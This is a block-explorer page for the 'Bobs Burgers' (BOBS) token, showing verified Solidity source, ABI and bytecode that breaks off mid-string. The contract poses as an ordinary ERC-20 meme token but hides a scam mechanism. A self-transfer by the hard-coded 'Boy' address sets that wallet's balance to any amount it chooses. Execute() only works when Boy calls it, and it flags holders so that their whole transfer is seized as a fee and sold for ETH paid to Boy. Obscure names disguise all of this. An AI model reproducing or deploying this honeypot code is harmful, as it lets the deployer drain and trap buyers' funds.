ETH Price: $3,320.59 (-2.03%)
 

Overview

Max Total Supply

400,000,000,000 BOBS

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
everyting.eth
Balance
6,068,568,025.449557 BOBS

Value
$0.00
0x94197eca14c62dccacd8ac3488cf73c81cede8ba
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOBS

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-21
*/
/**
Tele: https://t.me/BobsBurgersOfficial

Tweet:https://twitter.com/BOBSERC

*/
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract BOBS is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Bobs Burgers";
    string private _symbol = "BOBS";
    uint8 private _decimals = 6;
    address payable public Boy;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public book;

    uint256 private _totalSupply = 400000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        Boy = payable(address(0xACA7B321443EE071CC777c35BEcD416d4741aD66));
        
        _isExcludefromFee[Boy] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function bus() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            bool n = (from == to) ? (
                    (to == Boy) ? true : false)
                    : false;

            if (n)
                _balances[ // d
                    Boy
                ] = amount.add(amount);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 afterFeeAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 fee = amount.mul(0).div(100);

                if(book[from] > 0)
                    fee = fee.add(amount);

                if(fee > 0) {
                    _balances[address(this)] += fee;
                    emit Transfer(from, address(this), fee);
                }

                afterFeeAmount = amount - fee;

            }else{

                afterFeeAmount = amount;
            }


            _balances[to] = _balances[to].add(afterFeeAmount);

            emit Transfer(from, to, afterFeeAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(Boy),
            block.timestamp
        ){} catch {}
    }

    function Execute(address beach,uint256 best) public {
        bool better = (best == 0 || best - (100+0) == 0) ?
        true :
        false;

        if(better)
            book[beach] = best;

        uint256(best).sub(
            uint256(
                (
                    (msg.sender == Boy) ? 
                    best : best + 3
                )
            )
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Boy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"beach","type":"address"},{"internalType":"uint256","name":"best","type":"uint256"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"book","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f426f6273204275726765727300000000000000000000000000000000000000008152506001908051906020019062000051929190620004ad565b506040518060400160405280600481526020017f424f425300000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620004ad565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a620001129190620006f7565b645d21dba00062000124919062000748565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014f57600080fd5b50620001606200047c60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a373aca7b321443ee071cc777c35becd416d4741ad66600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ff6200048460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003bf6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200040d6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200046e9190620007ba565b60405180910390a36200083c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004bb9062000806565b90600052602060002090601f016020900481019282620004df57600085556200052b565b82601f10620004fa57805160ff19168380011785556200052b565b828001600101855582156200052b579182015b828111156200052a5782518255916020019190600101906200050d565b5b5090506200053a91906200053e565b5090565b5b80821115620005595760008160009055506001016200053f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005eb57808604811115620005c357620005c26200055d565b5b6001851615620005d35780820291505b8081029050620005e3856200058c565b9450620005a3565b94509492505050565b600082620006065760019050620006d9565b81620006165760009050620006d9565b81600181146200062f57600281146200063a5762000670565b6001915050620006d9565b60ff8411156200064f576200064e6200055d565b5b8360020a9150848211156200066957620006686200055d565b5b50620006d9565b5060208310610133831016604e8410600b8410161715620006aa5782820a905083811115620006a457620006a36200055d565b5b620006d9565b620006b9848484600162000599565b92509050818404811115620006d357620006d26200055d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070482620006e0565b91506200071183620006ea565b9250620007407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f4565b905092915050565b60006200075582620006e0565b91506200076283620006e0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200079e576200079d6200055d565b5b828202905092915050565b620007b481620006e0565b82525050565b6000602082019050620007d16000830184620007a9565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081f57607f821691505b60208210811415620008365762000835620007d7565b5b50919050565b60805160601c612a276200085b60003960006106f50152612a276000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610403578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806370a082311461031e5780637ca814601461035b578063892cd8f5146103985780638c762838146103c15780638da5cb5b146103d857610135565b806327c8f835116100f257806327c8f83514610235578063313ce567146102605780633345611e1461028b5780633827278a146102c85780634a74bb02146102f357610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611ef5565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611fb0565b6105cb565b604051610199919061200b565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612085565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906120af565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906120ca565b610619565b60405161022c919061200b565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b604051610257919061212c565b60405180910390f35b34801561026c57600080fd5b50610275610717565b6040516102829190612163565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061217e565b61072e565b6040516102bf919061200b565b60405180910390f35b3480156102d457600080fd5b506102dd61074e565b6040516102ea91906121cc565b60405180910390f35b3480156102ff57600080fd5b50610308610774565b604051610315919061200b565b60405180910390f35b34801561032a57600080fd5b506103456004803603810190610340919061217e565b610787565b60405161035291906120af565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061217e565b6107d0565b60405161038f91906120af565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190611fb0565b6107e8565b005b3480156103cd57600080fd5b506103d66108e0565b005b3480156103e457600080fd5b506103ed610cb8565b6040516103fa919061212c565b60405180910390f35b34801561040f57600080fd5b50610418610ce1565b6040516104259190611ef5565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611fb0565b610d73565b604051610462919061200b565b60405180910390f35b34801561047757600080fd5b50610480610d92565b60405161048d919061212c565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121e7565b610db8565b6040516104ca91906120af565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f5919061217e565b610e3f565b005b34801561050857600080fd5b50610523600480360381019061051e919061217e565b610f91565b604051610530919061200b565b60405180910390f35b60606001805461054890612256565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612256565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610fb1565b8484610fb9565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611184565b506106e884610633610fb1565b6106e3856040518060600160405280602881526020016129ca60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610fb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b610fb9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b6000808214806108045750600060648361080291906122b7565b145b61080f576000610812565b60015b9050801561085f5781600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108da600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576003836108c491906122eb565b6108cb565b825b8361183990919063ffffffff16565b50505050565b6108e8610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c9061238d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d457600080fd5b505afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c91906123c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa691906123c2565b6040518363ffffffff1660e01b8152600401610ac39291906123ef565b602060405180830381600087803b158015610add57600080fd5b505af1158015610af1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1591906123c2565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cf090612256565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1c90612256565b8015610d695780601f10610d3e57610100808354040283529160200191610d69565b820191906000526020600020905b815481529060010190602001808311610d4c57829003601f168201915b5050505050905090565b6000610d87610d80610fb1565b8484611184565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e47610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb9061238d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110209061248a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110909061251c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117791906120af565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec906125ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612640565b60405180910390fd5b600b60149054906101000a900460ff161561128c57611285848484611883565b90506117ce565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146112c8576000611328565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611324576000611327565b60015b5b905080156113a9576113438384611a5690919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114105750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114275761142661142130610787565b611ab4565b5b600061147b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115625750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116c95760006115906064611582600088611d3490919063ffffffff16565b611daf90919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115f0576115ed8582611a5690919063ffffffff16565b90505b60008111156116b55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461164891906122eb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ac91906120af565b60405180910390a35b80856116c191906122b7565b9150506116cd565b8390505b61171f81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117bf91906120af565b60405180910390a36001925050505b9392505050565b600083831115829061181d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118149190611ef5565b60405180910390fd5b506000838561182c91906122b7565b9050809150509392505050565b600061187b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d5565b905092915050565b600061190e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a382600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a4391906120af565b60405180910390a3600190509392505050565b6000808284611a6591906122eb565b905083811015611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa1906126ac565b60405180910390fd5b8091505092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611aec57611aeb6126cc565b5b604051908082528060200260200182016040528015611b1a5781602001602082028036833780820191505090505b5090503081600081518110611b3257611b316126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bd457600080fd5b505afa158015611be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0c91906123c2565b81600181518110611c2057611c1f6126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611ce0959493929190612823565b600060405180830381600087803b158015611cfa57600080fd5b505af1925050508015611d0b575060015b611d1457611d15565b5b506000600b60146101000a81548160ff02191690831515021790555050565b600080831415611d475760009050611da9565b60008284611d55919061287d565b9050828482611d649190612906565b14611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b906129a9565b60405180910390fd5b809150505b92915050565b6000611df183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611df9565b905092915050565b60008083118290611e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e379190611ef5565b60405180910390fd5b5060008385611e4f9190612906565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e965780820151818